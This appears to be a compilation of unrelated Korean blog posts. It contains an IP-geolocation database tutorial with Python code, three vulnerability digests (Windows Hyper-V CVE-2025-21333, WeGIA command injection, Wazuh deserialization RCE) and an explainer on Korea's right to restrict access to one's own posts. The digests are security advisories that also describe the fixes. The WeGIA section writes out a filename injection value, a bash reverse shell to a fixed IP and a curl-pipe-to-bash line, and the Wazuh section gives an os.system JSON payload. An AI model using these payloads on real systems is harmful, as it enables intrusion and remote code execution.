Whois 프로토콜은 결국 서버에 질의를 하는 방식이기 때문에 필연적으로 네트워크 지연이 발생하고, 서버의 상태가 좋지 않거나 과도한 요청을 보낼 경우 요청이 차단되는 경우가 발생할 수도 있어, IPNetInfo 소개 페이지에는 다음과 같은 설명이 기재되어 있습니다.

때때로 ARIN의 WHOIS 서버가 다운되어 IPNetInfo의 WHOIS 요청에 응답하지 않아 IPNetinfo가 IP 주소를 검색하지 못하는 경우가 있습니다. 그럴 경우 나중에 다시 시도하면 됩니다.

각 조회 방법별 특징을 요약하자면 다음과 같습니다.

따라서, IP 조회가 빈번하게 이루어지고 빠른 응답 속도가 요구되며, 외부 인터넷 통신이 불가능한 환경이라면 자체적으로 국가 데이터베이스를 구축하는 것이 가장 좋은 방법입니다. 이를 위해 RIR에서 원천 데이터를 수집하고, 로컬 환경에서 IP의 국가 정보 데이터베이스를 만드는 방법을 소개하도록 하겠습니다.

🌐 IP 주소 관리 체계 이해하기

우리가 사용하는 퍼블릭 IP 주소 자원은 약 37억 개로 제한된 공공자원입니다. 이러한 자원을 효율적으로 관리하려면 중앙에서 조율할 수 있는 기구가 필요합니다. 그 역할을 하는 곳이 미국의 인터넷 주소관리 기구(ICANN, Internet Corporation for Assigned Names and Numbers)입니다.

ICANN은 IP 주소, DNS, 프로토콜 번호 등의 인터넷 리소스를 관리하는 최상위 기구입니다. 여기서 모든 IP를 관리할 수 없으니 ICANN 산하의 인터넷 번호 할당 기관(IANA, Internet Assigned Numbers Authority)이 전 세계를 지역별로 나누어 각 지역 인터넷 등록 기관(RIR, Regional Internet Registries)에 IP 주소 대역을 할당하고 있습니다.

현재 RIR은 ARIN(북미), RIPENCC(유럽), LACNIC(남미), AFRINIC(아프리카), APNIC(아시아) 각 5개의 기관으로 구성되어 있습니다. 이 중에서 LACNIC, APNIC은 국가 인터넷 레지스트리(NIR, National Internet Registries)라는 기관을 두고 다시 세부적으로 분류하여 관리하고 있습니다.

• APNIC: KRNIC(우리나라), CNNIC(중국), JPNIC(일본), TWNIC(대만), VNNIC(베트남) 등
• LACNIC: NIC Brazil(브라질, Nic Chile(칠레), NIC Mexico(멕시코)

즉, ICANN → IANA → RIR → NIR → ISP 순으로 IP 주소가 관리되고 있다고 이해하시면 됩니다.

우리나라의 경우 RIR에게 할당받은 IP를 KRNIC(한국인터넷진흥원)에서 관리하고 있으며, 해당 IP들을 관리 대행자(ISP)에게 재 할당하고 있습니다. KRNIC 사이트에서 보다 자세한 내용을 확인할 수 있으니, 궁금하신 분이 있으면 접속해서 확인해 보셔도 좋을 것 같습니다.

https://krnic.kisa.or.kr/jsp/business/management/ispInfo.jsp

🏗️ IP 주소 국가 데이터베이스 구축하기

앞서 언급한 RIR(은 레지스트리별 FTP 서버에 통계 정보를 특정 경로(stats)에 특정 시점(23:59:59 UTF+0)에 특정한 이름으로 포맷으로 업로드하기로 약속되어 있습니다.

포맷과 관련된 자세한 내용은 APNIC의 RIR statistics exchange format에서 자세히 살펴볼 수 있습니다.

💻 IP ↔ 국가 데이터베이스 조회 프로그램 만들기

이제 원천 데이터 수집처와 데이터 포맷을 확인했으니 구현을 할 차례입니다.

다음과 같은

1. 매일 09:00(UTC+9)에 RIR들의 FTP 서버에서 delegated-{REGISTRY}-latest 파일 다운로드
2. 다운로드 된 파일에서 국가 / IPv4 / IP 대역 추출
3. IP 대역(시작 ~ 끝)을 10진수화 시켜 정렬 후 파일로 저장
4. 국가, IP 대역 쌍을 메모리에 로드한 뒤
5. 이진탐색

이를 코드로 구현하면 다음과 같습니다.

# builtin modulesimport osimport ipaddressimport asynciofrom datetime import datetime# install modulesimport aiohttpintervals = []today = datetime.now().strftime("%Y%m%d")RIR_URLS = [    "https://ftp.apnic.net/stats/apnic/delegated-apnic-extended-latest",    "https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest",    "https://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest",    "https://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-extended-latest",    "https://ftp.afrinic.net/stats/afrinic/delegated-afrinic-extended-latest",]MAPPING_DATABASE = f"./rsc/{today}_mapping.db"# 다운로드async def fetch(session, url):    async with session.get(url) as response:        print(f"[{response.status}] - {url}")        content = await response.read()        filename = url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "wb") as f:            f.write(content)    return# 다운로드 코루틴async def download():    async with aiohttp.ClientSession() as session:        await asyncio.gather(*(fetch(session, url) for url in RIR_URLS))    print("Download Complete")    return# 데이터베이스 로드def init_database():    if not os.path.exists("./rsc"):        os.mkdir("./rsc")    # IP 데이터베이스 셋이 존재할 경우 메모리 로드    if os.path.exists(MAPPING_DATABASE):        print("Databse load")        with open(MAPPING_DATABASE, "r") as f:            for line in f:                start_ip, end_ip, country = line.strip().split(",")                intervals.append((int(start_ip), int(end_ip), country))        return    # IP 데이터베이스 셋이 존재하지 않을 경우 다운로드 후 저장 및 가공    asyncio.run(download())    for rir_url in RIR_URLS:        filename = rir_url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "r") as f:            for line in f:                line = line.strip().split("|")                if len(line) != 8 or line[2] != "ipv4":                    continue                country = line[1]                ip = line[3]                ip_range = line[4]                start_ip = int(ipaddress.IPv4Address(ip))                end_ip = (int(ipaddress.IPv4Address(ip)) + int(ip_range)) - 1                result = (start_ip, end_ip, country)                intervals.append(result)    # 데이터베이스셋 저장    intervals.sort(key=lambda x: x[0])    with open(MAPPING_DATABASE, "w") as f:        for interval in intervals:            line = f"{interval[0]},{interval[1]},{interval[2]}"            f.write(line + "\n")    print("Databse load")    return# 탐색def search(search_ip):    result = None    try:        search_ip = int(ipaddress.IPv4Address(search_ip))    except:        return None    left, right = 0, len(intervals) - 1    while left <= right:        mid = (left + right) // 2        start_ip, end_ip, country = intervals[mid]        if start_ip <= search_ip <= end_ip:            result = country            break        elif start_ip > search_ip:            right = mid - 1        else:            left = mid + 1    return resultdef main():    init_database()    while True:        ipv4 = input("Insert IPv4: ")        r = search(ipv4)        print(r)if __name__ == "__main__":    main()

RIR에서 다운로드 받은 데이터를 확인할 경우 253,714개의 IP 대역(약 37억개)이 확인됩니다. 공개된 퍼블릭 IP의 국가 정보는 확인 가능한 것과 다름없는 셈입니다. 또한, 공교롭게도 제가 작성한 프로그램이 MMDB로 조회하는 것보다 30 ~ 250배 가량 빠른 속도로 조회가 되었습니다.

추측하기엔 MMDB에는 IP 대역이 조금 더 세부적으로 나눠져 있고, 다른 정보(ASN)들도 함께 조회가 가능하다 보니 이런 결과가 나오지 않았을까 조심스레 생각해 봅니다.

✨ 결론

RIR 데이터에는 IP와 ASN을 할당했다 라는 내용만 포함되어 있어, 특정 IP가 어떤 ASN에 속해있는지는 알 수가 없습니다. 이 정보를 확인하려면 BGP(Border Gateway Protocol)테이블에서 수집이 필요한데요. 내용이 너무 길어지다 보니, 다음 연구글에서 이어가도록 하겠습니다.

정신건강을 위해서 가급적이면 ipinfo에서 mmdb 파일을 주기적으로 다운로드 받는 걸 권장합니다.

URL

• https://github.com/MrAle98/CVE-2025-21333-POC

Target

• Windows < 2025년 1월 누적 업데이트

Explain

Windows Hyper-V NT Kernel Integration VSP 구성 요소에서 발견된 heap buffer overflow로 인한 권한 상승 취약점의 PoC가 공개되었습니다.

취약점은 Windows 10 1903부터 추가된 CrossVmEvent 객체 관련 syscall인 NtCreateCrossVmEvent 에서 발생하나 MS Advisory에 따르면 영향받는 Windows 버전은 Windows 10 21H2 ~ Windows 11 24H2입니다.

취약점을 트리거하기 위해서는 windows sandbox 기능이 활성화되어 있어야 합니다.

CrossVmEvent는 호스트와 게스트 머신 간 효율적인 리소스 관리, 통신을 처리하는 Virtual Service Provider 관련 객체임

해당 syscall을 처리하는 vkrnlintvsp.sys 드라이버는 VkiRootAdjustSecurityDescriptorForVmwp 함수에서 객체의 DACL 문자열을 수정합니다.

__int64 __fastcall VkiRootAdjustSecurityDescriptorForVmwp(void *a1, char a2)//...   if ( ObjectSecurity >= 0 )      {        ObjectSecurity = SeConvertStringSidToSid(                           L"S-1-15-3-1024-2268835264-3721307629-241982045-173645152-1490879176-104643441-2915960892-1612460704",                           &P);        if ( ObjectSecurity >= 0 )        {        // Patched Code          if ( (Feature_2878879035__private_IsEnabledDeviceUsage)(v6) )          {            v7 = RtlLengthSid(Sid);            v8 = RtlLengthSid(P) + 16 + v7;            v9 = Dacl->AclSize + v8;            if ( v9 < v8 )            {              ObjectSecurity = 0xC0000095;              goto LABEL_20;            }          }         // Vulnable Code          else          {            SidLength = RtlLengthSid(Sid) + RtlLengthSid(P);            dwAclSize = Dacl->AclSize + SidLength + 16;          }          Pool2 = ExAllocatePool2(256i64, dwAclSize, 1867671894i64);          v4 = Pool2;          if ( Pool2 )          {            memmove(Pool2, Dacl, Dacl->AclSize);//...

패치 전 코드는 유저가 컨트롤 가능한 객체의 DACL에 SID를 추가하는 과정에서 Pool에 할당할 사이즈 계산 시 integer overflow가 발생하지만 적절한 bound check가 존재하지 않아 예상보다 작은 dwAclSize만큼 할당하게 됩니다.

결과적으로 예상보다 작게 할당된 Pool Buffer에 AclSize만큼 복사하는 memmove 호출에서 0xfff0 크기의 overflow가 가능합니다.

poc는 해당 취약점 트리거 이후 I/O Ring Exploit 기법을 사용합니다. 페이지 풀에 _IOP_MC_BUFFER_ENTRY 포인터 배열을 할당하고, 유저랜드에 할당한 fake IOP_MC_BUFFER_ENTRY 객체를 취약점을 이용해 스프레이해 덮어씁니다. 이후 BuildIoRingWriteFile() 와 BuildIoRingReadFile() 를 사용해 커널 임의 읽기/쓰기를 얻어 권한 상승을 수행합니다.

취약점의 패치는 위와 같이 AclSize와 Sid 사이즈 연산 결과가 Sid 사이즈보다 작은 경우 복사를 중단하는 것으로 이루어졌습니다.

URL

• https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-xw6w-x28r-2p5c

Target

• WeGIA application 3.2.15 이하 버전

Explain

기관을 대상으로 웹 통합 관리 시스템을 제공하는 WeGIA의 application에서 parameter 검증 미흡으로 인한 RCE 취약점이 발생하였습니다.

취약점은 importar_dump.php 내부에 아래 구문에서 발생합니다.

$log = shell_exec("mv ". $_FILES["import"]["tmp_name"] . " " . BKP_DIR . $_FILES["import"]["name"]);

shell_exec() 함수를 통해 mv 명령어로 임시 파일을 이동하는 명령을 수행합니다.

여기서 parameter에 대한 검증이 미흡하기 때문에 Command Injection 취약점이 발생합니다.

추가로 임시 파일을 이동하는 명령이기에 Reverse Shell 사용과 Web Shell 업로드도 가능합니다.

세션 검증 이후 리다이렉션 구문이 존재하나, 실행 종료 프로세스가 존재하지 않습니다.

<?phpif (!isset($_SESSION["usuario"])){    header("Location: ../../index.php");}

이로 인해 별도의 로그인 과정이 없어도 임의의 코드 실행 및 파일 업로드 공격이 가능합니다.

PoC는 다음과 같습니다.

1. OS Command Injection

sleep 5 명령을 실행하는 Command Injection을 수행합니다.

filename에 a 이름으로 함께 담아 전달하면 sleep 5 명령이 수행 된 것을 확인 할 수 있습니다.

a;sleep 5

2. Reverse shell 실행

아래와 같이 reverse shell을 빌드합니다.

bash -i >& /dev/tcp/172.30.137.198/7777 0>&1

|로 bash shell에 전달하면 reverse shell이 실행됩니다. 예시는 아래와 같습니다.

a;curl -L <your_page_responses_rev_shell_code> | bash

3. Web Shell 업로드

Web Shell 업로드는 구현되어 있는 파일 업로드 기능을 이용하여 php Web Shell을 쉽게 업로드 할 수 있습니다.

PoC에서는 l8BL.php라는 이름으로 php Web Shell을 업로드했습니다.

해당 취약점은 escapeshellarg() 함수를 통해 command injection에 사용되는 특수 문자에 대해 이스케이프 하도록 보완했습니다.

그리고 exit() 함수를 추가해 세션 검증 이후 종료 구문을 추가하여 보완 했습니다.

Reference

• https://nvd.nist.gov/vuln/detail/CVE-2025-27140
• https://github.com/LabRedesCefetRJ/WeGIA

URL

• https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh

Target

• Wazuh 4.4.0 이상 4.9.1 이하 버전

Explain

CVE-2025-24016는 오픈소스 SIEM(Security Information and Event Management)인 Wazuh에서 발생하는 안전하지 않은 역직렬화로 인한 RCE 취약점입니다. Wazuh는 크게 Wazuh Agent, Wazuh Manager, Elasticsearch & Kibana로 구성되어 있습니다.

해당 취약점의 근본 원인은 Wazuh Manager에서 eval 함수를 사용함으로써 발생합니다. Wazuh Manager의 일부 API는 JSON 요청을 역직렬화(json.loads())할 때, object_hook 옵션을 통해 as_wazuh_object 함수를 호출하여 후처리를 수행합니다.

as_wazuh_object 함수는 JSON 내부에 __unhandled_exc__ 키가 있을 경우, 그 안의 __class__와 __args__ 값을 사용해 eval함수를 호출합니다. 이 과정에서 사용자 입력을 그대로 eval에 전달하므로 임의 명령 실행이 가능합니다.

예를 들어, 아래와 같은 JSON을 API 요청으로 전달하면 os.system("bash")가 실행되어 RCE가 발생할 수 있습니다.

{  "__unhandled_exc__": {      "__class__": "os.system",      "__args__": [      "bash"]}}

해당 취약점은 eval함수를 literal_eval함수로 패치하며 제한된 타입(strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis)만 처리할 수 있도록 보안했습니다.

Reference

• https://github.com/0xjessie21/CVE-2025-24016

Hello, this is romi0x!

Have you ever wanted to erase embarrassing moments from the internet? Or have you tried to delete a post but couldn’t find a way to remove it? Sometimes, you may not be able to delete your posts because there is no delete button or you are no longer a member of the service. To address this issue, there is a legal right called the “Right to Request Access Restriction for Personal Online Posts.”

In this article, I will introduce the “Right to Request Access Restriction for Personal Online Posts”, which allows individuals to request restrictions on public access to posts they have uploaded.

1. What is the Right to Request Access Restriction for Personal Online Posts?

The “Right to Request Access Restriction for Personal Online Posts” allows individuals to request restrictions on access to their own posts on the internet. This right ensures that information and communication service providers, as personal data controllers, comply with privacy protection principles, while allowing users to safeguard their personal data.

Since 2016, South Korea has introduced this right under the Act on Promotion of Information and Communications Network Utilization and Information Protection (the Information and Communications Network Act). Under this system, individuals can request access restrictions rather than deletion of their posts.

1-2. Comparison with Global Cases

When it comes to online information deletion requests, South Korea’s Right to Request Access Restriction for Personal Online Posts and the globally recognized “Right to Be Forgotten” share similar goals but differ in legal application and scope.

European Union (EU): Right to Be Forgotten

In the European Union, there is a legal right called the “Right to Be Forgotten.” This right was officially recognized in 2014 following a ruling by the Court of Justice of the European Union (CJEU) in the Google Spain case. The General Data Protection Regulation (GDPR), which took effect in 2018, explicitly defines this right.

One major case highlighting this right is:

• Google Spain Case (2014): A Spanish man requested the removal of search results linking to outdated debt-related information. The CJEU ruled that individuals have the right to request the removal of specific search results.

While the EU shares similarities with Korea’s system, European laws place a stronger emphasis on personal data protection.

United States: Focus on Freedom of Expression

The Right to Be Forgotten is not legally recognized in the United States. Instead, digital platforms offer users the ability to delete their own posts. For example, social media platforms like Facebook and Twitter allow users to remove their posts at any time. However, due to the strong emphasis on freedom of expression, content related to public figures or issues of public interest may not be easily removed.

2. How to Request Access Restriction for Your Own Posts

So, how can individuals in South Korea exercise this right and request access restrictions on their posts?

Eligible Requests

Users can exercise this right for posts they have made on online platforms, including comments, photos, and videos. If a deceased individual has designated a representative or if the family of the deceased requests access restriction, the request can still be made. If the designated representative and the family have differing opinions, the designated representative’s decision generally takes precedence.

Who Can Submit a Request and Who is Responsible?

Any individual can submit a request, and it should be directed to the website administrator or search engine provider.

Steps to Request Access Restriction

1. Check if you can delete the post yourself.
   • If the user can delete their own post, the platform operator may refuse the request for access restriction.
2. If self-deletion is not possible, request access restriction from the website administrator.
   • Supporting documents should be submitted along with the request.
   • Required documents include:
     • The URL of the post in question.
     • Proof that the requester originally posted the content.
     • A statement of reasons for the access restriction request.
3. If further action is needed, request removal from search engine providers.
   • To do this, users must provide evidence that the website administrator has already restricted access.

3. How Service Providers Process Access Restriction Requests

Once a request is made, website administrators and search engine providers must follow a review process to determine the appropriate action.

• Website administrators will consider the submitted evidence and apply access restriction measures, such as blurring or blocking access to the post.
• Search engine providers will remove the post from search results where applicable.

4. Notification of Results & Third-Party Objections

Once access restriction measures have been applied, the service provider must notify the requester of the result.

If a third party objects to the restriction, the service provider will review the submitted evidence and decide whether to uphold the restriction or lift it.

5. Requesting Access Restriction from Major Korean Search Engines

Major Korean portal sites Naver (N) and Daum (D) provide guidance on requesting access restriction:

• Naver Access Restriction Request Guide
  • https://help.naver.com/service/30001/category/5759?lang=ko
• Daum Access Restriction Request Guide
  • https://cs.daum.net/redbell/right/precludeProcess.html

안녕하세요, romi0x예요!

인터넷에 남겨진 본인의 흑역사를 지우고 싶었던 적이 있나요? 혹은 게시물을 삭제하려 했지만 삭제할 수 없었던 경험이 있나요? 서비스 회원을 탈퇴하거나 게시물 삭제 버튼이 없어서 원하는 게시물을 삭제하지 못하는 상황이 있을 수도 있어요. 이런 상황을 해결하기 위해 ‘인터넷 자기게시물 접근배제요청권’이라는 권리가 있어요.

이번 글에서는 본인이 올린 게시물에 대해 타인의 접근 배제를 요청할 수 있는 권리인 ‘자기게시물 접근배제요청권’에 대해 소개할게요.

출처: https://biz.chosun.com/site/data/html_dir/2014/07/17/2014071700027.html

1. 인터넷 자기게시물 접근배제요청권?

이용자 본인이 인터넷상에 게시한 게시물에 대해 타인의 접근 배제를 요청할 수 있는 권리를 ‘자기게시물 접근배제요청권’이라고 해요. 이 권리로 인해 정보통신서비스 제공자는 개인정보처리자로서 개인정보 보호 원칙을 준수할 수 있고, 이용자는 본인의 개인정보를 보호하고 안전하게 지킬 수 있어요.

한국에서는 2016년부터 정보통신망 이용촉진 및 정보보호 등에 관한 법률(정보통신망법)에 따라 개인이 자신이 작성한 게시물에 대해 검색 제한을 요청할 수 있는 ‘인터넷 자기게시물 접근배제요청권’이 도입되었어요. 이는 본인이 작성한 게시물이라 하더라도 삭제 요청이 아닌 ‘접근 제한’ 조치를 요구할 수 있도록 한 제도예요.

1-2. 해외 사례와 국내 비교

인터넷상의 정보 삭제 요청과 관련하여 한국의 ‘인터넷 자기게시물 접근배제요청권’과 해외에서 널리 논의되는 ‘잊힐 권리(right to be forgotten)’는 공통된 목적을 가지면서도 법적 적용 방식과 범위에서 차이를 보여요.

유럽연합(EU): 잊혀질 권리

유럽연합에서는 ‘잊혀질 권리(Right to be Forgotten)’라는 법적 권리가 있어요. 2014년 유럽사법재판소(CJEU)의 판결(구글 스페인 사건) 이후 공식적으로 인정되었어요. 이후 2018년 시행된 일반 개인정보 보호법(GDPR)에서도 잊힐 권리를 명시적으로 규정하고 있죠.

주요 사례로는 구글 스페인 사건이 있어요.

• 구글 스페인 사건(2014): 스페인의 한 남성이 과거 채무 관련 정보가 구글 검색 결과에 노출되는 것을 문제 삼아 삭제를 요청한 사건에서 유럽사법재판소는 개인이 특정 정보에 대한 검색 결과 삭제를 요청할 수 있다고 판결했어요.

유럽연합에서는 자기게시물 접근배제요청권과 유사한 개념을 가지고 있지만, 유럽에서는 개인의 정보 보호를 더 강조하는 법적 환경이에요.

미국: 표현의 자유 중심

미국은 ‘잊힐 권리’가 법적으로 보장되지 않지만, 각 디지털 플랫폼에서 사용자에게 게시물 삭제 기능을 제공하고 있어요. 예를 들어, 페이스북이나 트위터와 같은 SNS 플랫폼은 사용자가 자신의 게시물을 언제든지 삭제할 수 있도록 허용하고 있어요. 하지만 미국에서는 표현의 자유가 중요시되므로, 공적 인물의 게시물이나 공익적인 내용에 대해서는 삭제가 제한될 수 있어요.

2. 이용자 본인의 접근배제 요청 방법 및 절차

그렇다면, 국내에서 자기게시물 접근배제요청권은 어떻게 신청하고 어떤 과정으로 처리되는지 알아볼게요.

• 권리행사 대상

  정보통신망을 통해 본인이 게시한 글(댓글), 사진, 동영상 및 이에 준하는 게시물에 대해서 권리를 행사할 수 있어요. 만약 고인이 생전에 권리를 위임한 지정인 또는 고인의 유족이 접근배제를 요청하는 경우에도 권리를 행사할 수 있어요. 지정인과 유족의 의견이 다른 경우에는 특별한 사정이 없는 한 지정인의 의견을 따라요.
  

• 권리행사 주체 및 상대방

  권리를 행사하는 주체는 누구든지 가능하며 그 상대는 게시판 관리자 또는 검색서비스 사업자예요.
  

• 요청 방법 및 절차

  요청하는 방법과 절차는 다음과 같아요.

  1. 이용자 본인이 직접 해당 게시물을 삭제할 수 있는지 확인해요.
     • 이용자 본인이 직접 삭제할 수 있다면, 사업자는 자기게시물 접근배제요청을 거부할 수 있어요.

  2. 이용자가 직접 삭제하기 어렵다면, 게시판 관리자에게 자기게시물의 접근배제를 요청해요.
     이때, 요청 시 입증 자료들을 첨부해야 해요.

     • 접근배제를 원하는 게시물 및 게시물의 위치자료(URL)
     • 요청인이 해당 게시물을 게시하였다는 사실을 입증할 수 있는 자료
     • 접근배제를 요청하는 사유

  3. 검색서비스 사업자에게 검색목록의 배제를 추가적으로 원한다면, 게시판 관리자의 접근배제 조치 사실을 입증할 수 있는 자료를 첨부해 검색서비스 사업자에게 검색목록 배제 요청을 해요.

3. 사업자의 접근배제 조치 방법 및 절차

이용자가 접근배제를 요청했다면 게시판 관리자와 검색서비스 사업자는 어떤 방법으로 조치를 해야할까요?

사업자는 이용자의 요청을 검토한 후 적절한 조치를 취해야 해요. 게시판 관리자는 요청인이 제출한 입증자료를 종합적으로 고려해 해당 게시물에 대한 블라인드 처리 등으로 접근배제 조치를 실시해야 해요. 검색서비스 사업자는 검색목록에서 배제하는 방식으로 조치를 취해야 해요.

4. 결과 통보 및 제3자의 이의신청

사업자는 접근배제 조치를 완료한 경우 요청인에게 결과를 통보해야 해요. 또한, 제3자가 이에 대한 이의를 제기할 수 있어요. 이 경우, 사업자는 요청인의 입증자료를 검토한 후 이의 신청을 받아들일지 결정해야 해요.

국내 유명 포털사이트 N사와 D사도 자기게시물 접근배제 요청권을 안내하고 있어요.

• N사의 자기게시물 접근배제 요청 안내

  https://help.naver.com/service/30001/category/5759?lang=ko

• D사의 자기게시물 접근배제 요청 안내

  https://cs.daum.net/redbell/right/precludeProcess.html

Ref

개인정보보호위원회 「인터넷 자기게시물 접근배제요청권 안내서」 2024.12